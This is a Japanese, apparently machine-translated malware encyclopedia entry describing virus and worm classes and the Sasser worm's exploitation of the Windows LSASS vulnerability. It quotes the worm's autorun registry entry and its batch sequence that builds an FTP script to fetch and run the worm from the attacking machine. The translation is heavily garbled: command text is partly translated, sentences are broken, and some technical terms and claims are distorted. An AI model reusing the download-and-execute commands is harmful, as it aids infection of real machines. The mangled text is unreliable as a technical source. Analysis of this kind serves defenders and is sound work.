親クラス: VirWare
ウイルスおよびワームは、コンピュータ上またはコンピュータネットワーク上で自己複製する悪意のあるプログラムであり、ユーザーは認識しません。そのような悪意のあるプログラムの後続のコピーも自己複製することができます。 「所有者」（例：Backdoors）または自己複製が不可能な複数のコピーを作成するプログラムによって、ネットワーク経由で感染したり、リモートマシンに感染したりする悪質なプログラムは、ウイルスおよびワームのサブクラスには含まれません。プログラムがViruses and Wormsサブクラス内の別個の動作として分類されるかどうかを判断するために使用される主要な特性は、プログラムがどのように伝搬するか（すなわち、悪意のあるプログラムがローカルまたはネットワークリソースを介してどのように自身のコピーを広げるか）電子メール添付ファイルとして送信されたファイルとして、WebまたはFTPリソースへのリンク経由で、ICQまたはIRCメッセージで送信されたリンク経由で、P2Pファイル共有ネットワークなどを介して送信されます。これらは直接コンピュータのメモリに侵入し、ワームコードが有効になります。ワームは、リモートコンピュータに侵入して自身のコピーを開始するために、ソーシャルエンジニアリング（例えば、ユーザーが添付ファイルを開くことを示唆する電子メールメッセージ）、ネットワーク構成エラー（完全にアクセス可能なディスクへのコピーなど）を利用し、オペレーティングシステムとアプリケーションのセキュリティの抜け穴ウイルスは、コンピュータを感染させる方法に従って分割することができます。ファイルウイルス - ブートセクタウイルス - マクロウイルススクリプトウイルス - このサブクラス内のプログラムは、追加のトロイの木馬機能を持つことができます。また、ネットワークを介してコピーを広めるために、多くのワームが複数の方法を使用していることにも注意してください。これらのタイプのワームを分類するには、検出されたオブジェクトを複数の機能で分類するためのルールを使用する必要があります。クラス: Net-Worm
ネットワームはコンピュータネットワークを介して伝播します。この種のワームの特徴は、普及するためにユーザーの操作を必要としないことです。この種のワームは、通常、ネットワーク上のコンピュータ上で動作するソフトウェアの重大な脆弱性を検索します。ネットワーク上のコンピュータを感染させるために、ワームは特別に細工されたネットワークパケット（悪用と呼ばれます）を送信し、その結果ワームコード（またはワームコードの一部）が被害者のコンピュータに侵入して起動します。ネットワークパケットには、メインワームモジュールを含むファイルをダウンロードして実行するワームコードの部分しか含まれていないことがあります。一部のネットワークワームは、複数の攻撃を同時に使用して感染するため、犠牲者を見つける速度が向上します。プラットフォーム: Win32
Win32は、32ビットアプリケーションの実行をサポートするWindows NTベースのオペレーティングシステム（Windows XP、Windows 7など）上のAPIです。世界で最も広く普及しているプログラミングプラットフォームの1つです。説明
Sasserは、 Microsoft Security Bulletin MS04-011に記載されているMS Windows LSASSの脆弱性を悪用するインターネットワームです。
マイクロソフトは2004年4月13日にこの脆弱性に対するパッチをリリースしました.Sasser.aは2004年4月30日に最初に検出されました。
サッサーは除くこと、Lovesanのに非常によく似た方法で動作Lovesanのは、 PRC DCOMサービスではなく、LSASSサービスの脆弱性を悪用しました。
Sasserは、Windows 2000、Windows XP、Windows Server 2003を実行しているコンピュータに影響します。Sasserは他のすべてのバージョンのWindowsでは機能しますが、この脆弱性による攻撃では感染できません。
SasserはVisual Cコンパイラを使用してC / C ++で書かれています。このワームは約15KLで、PECompact2で圧縮されています。
感染の徴候
- Windowsディレクトリ内のファイル 'avserve.exe'。
- LSASSサービスに関するエラーメッセージが表示されず、通常はシステムが再起動します。
伝搬
起動後、Sasserはavserve.exeという名前でWindowsのルートディレクトリに自身をコピーし、このファイルをシステムレジストリの自動実行キーに登録します。
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "avserve.exe" = "％WINDIR％avserve.exe"
Sasserは、感染の将来の試みの場合に、自身のコピーを見つけるためにRAMに一意の識別子 'Jobaka31'を作成します。
SasserはTCPポート5554でFTPサーバーを起動し、次に128の伝播ルーチンを起動します。このプロセス中、ワームはシステムの再起動を禁止するためにAbortSystemShutdownプロセスを開始しようとします。
Sasserは犠牲者アドレスを特定するためにIPアドレススキャンを開始し、TCPポート445に要求を送信します。マシンが応答すると、SasserはLSASSの脆弱性を悪用してTCPポート9996で 'cmd.exe'コマンドシェルを起動します。感染したマシンに「N_up.exe」という名前でメインワームコンポーネントをダウンロードして起動するように指示します。「N」は乱数です。
エコーオフエコーオープン [攻撃マシンアドレス] 5554 >> cmd.ftpecho anonymous >> cmd.ftpユーザーをエコーするecho bin >> cmd.ftpecho get [乱数] _up.exe >> cmd.ftpecho bye >> cmd.ftpエコーオンftp -s：cmd.ftp[乱数] _up.exeエコーオフdel cmd.ftpエコーオン
その結果、1台のマシンが2回以上攻撃され、以下のようなサンプル名のワームの複数のコピーが含まれている可能性があります。
23101_up.exe5409_up.exe
等々。
その他
感染後、犠牲PCはLSASSサービスが失敗したことに関するエラーメッセージを生成し、そこでリブートを試みる可能性があります。
Sasserは、Cドライブのルートディレクトリに「win.log」ファイルを作成します。このディレクトリでは、攻撃されたすべてのマシンのIPアドレスが記録されます。
も参照してください
お住まいの地域に広がる脆弱性の統計をご覧ください statistics.securelist.com